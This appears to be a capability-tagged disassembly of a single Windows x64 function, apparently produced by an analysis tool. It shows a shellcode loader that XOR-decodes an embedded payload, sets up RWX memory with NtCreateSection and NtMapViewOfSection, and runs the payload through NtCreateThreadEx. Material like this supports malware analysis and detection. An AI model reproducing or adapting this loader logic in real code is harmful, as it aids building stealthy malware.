Function at 0x140001010
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0xd8
movaps xmmword [rsp + 0xc0], xmm6
mov rax, qword [0x14000c010]
xor rax, rsp
mov qword [rsp + 0xb8], rax
stmxcsr dword [rsp + 0xb0]
or dword [rsp + 0xb0], 0x8040
ldmxcsr dword [rsp + 0xb0]
mov qword [rsp + 0xb0], 0
mov qword [rsp + 0xa8], 0
mov qword [rsp + 0xa0], 0
mov ecx, 0x110
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rsi, rax
add rax, 7
xor ecx, ecx
lea rdx, [0x140009150]
movzx r8d, byte [rcx + rdx]
xor r8b, cl
xor r8b, 0xaa
mov byte [rax + rcx - 7], r8b
lea r8d, [rcx + 1]
xor r8b, byte [rcx + rdx + 1]
xor r8b, 0xaa
mov byte [rax + rcx - 6], r8b
lea r8d, [rcx + 2]
xor r8b, byte [rcx + rdx + 2]
xor r8b, 0xaa
mov byte [rax + rcx - 5], r8b
lea r8d, [rcx + 3]
xor r8b, byte [rcx + rdx + 3]
xor r8b, 0xaa
lea r9d, [rcx + 4]
xor r9b, byte [rcx + rdx + 4]
mov byte [rax + rcx - 4], r8b
xor r9b, 0xaa
mov byte [rax + rcx - 3], r9b
lea r8d, [rcx + 5]
xor r8b, byte [rcx + rdx + 5]
xor r8b, 0xaa
mov byte [rax + rcx - 2], r8b
lea r8d, [rcx + 6]
xor r8b, byte [rcx + rdx + 6]
xor r8b, 0xaa
mov byte [rax + rcx - 1], r8b
lea r8d, [rcx + 7]
xor r8b, byte [rcx + rdx + 7]
xor r8b, 0xaa
mov byte [rax + rcx], r8b
add rcx, 8
cmp rcx, 0x110
jne 0x140001090
mov qword [rsp + 0x98], 0x110
lea rcx, [0x14000a451]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdi, rax
lea rdx, str.NtCreateSection
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [rsp + 0x68], 0x30
xorps xmm6, xmm6
movups xmmword [rsp + 0x6c], xmm6
movups xmmword [rsp + 0x7c], xmm6
movups xmmword [rsp + 0x88], xmm6
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 0x40
lea rcx, [rsp + 0xb0]
lea r8, [rsp + 0x68]
lea r9, [rsp + 0x98]
mov edx, 0xf001f
call rax
test eax, eax
je 0x1400011bd
lea rcx, str.pNtCreateSection_
jmp 0x1400012f5
lea rcx, [0x140009260]
call sub.api_ms_win_crt_stdio_l1_1_0.dll_puts
lea rdx, str.NtMapViewOfSection
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
mov qword [rsp + 0x60], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, qword [rsp + 0xb0]
lea rdx, [rsp + 0x60]
mov qword [rsp + 0x30], rdx
movups xmmword [rsp + 0x20], xmm6
mov dword [rsp + 0x48], 0x40
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x38], 1
lea r8, [rsp + 0xa8]
mov rdx, rax
xor r9d, r9d
call rbx
test eax, eax
je 0x14000123a
lea rcx, str.pNtMapViewOfSection_
jmp 0x1400012f5
mov r8, qword [rsp + 0x60]
mov rdx, qword [rsp + 0xa8]
lea rcx, str.____:_0x_p_Of_Size_:__d__n
call fcn.140001360
lea rcx, [0x140009278]
call sub.api_ms_win_crt_stdio_l1_1_0.dll_puts
mov r14, qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
call r14
mov rbx, qword [rsp + 0xa8]
mov r8d, 0x110
mov rcx, rbx
mov rdx, rsi
call fcn.140001400
lea rcx, str.___payload_0x_p__0x_p__n
mov rdx, rsi
mov r8, rbx
call fcn.140001360
call r14
lea rdx, str.NtCreateThreadEx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
movups xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x20], rbx
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
xor esi, esi
lea rcx, [rsp + 0xa0]
mov edx, 0x1fffff
xor r8d, r8d
mov r9, rax
call rdi
test eax, eax
je 0x140001326
lea rcx, str.pNtCreateThread_
call fcn.140001360
mov esi, 0xffffffff
mov rcx, qword [rsp + 0xb8]
xor rcx, rsp
call fcn.140007820
mov eax, esi
movaps xmm6, xmmword [rsp + 0xc0]
add rsp, 0xd8
pop rbx
pop rdi
pop rsi
pop r14
ret
lea rcx, [0x140009293]
call sub.api_ms_win_crt_stdio_l1_1_0.dll_puts
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.KERNEL32.dll_GetThreadId]
lea rcx, str.___id_:__d__n
mov edx, eax
call fcn.140001360
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
jmp 0x1400012ff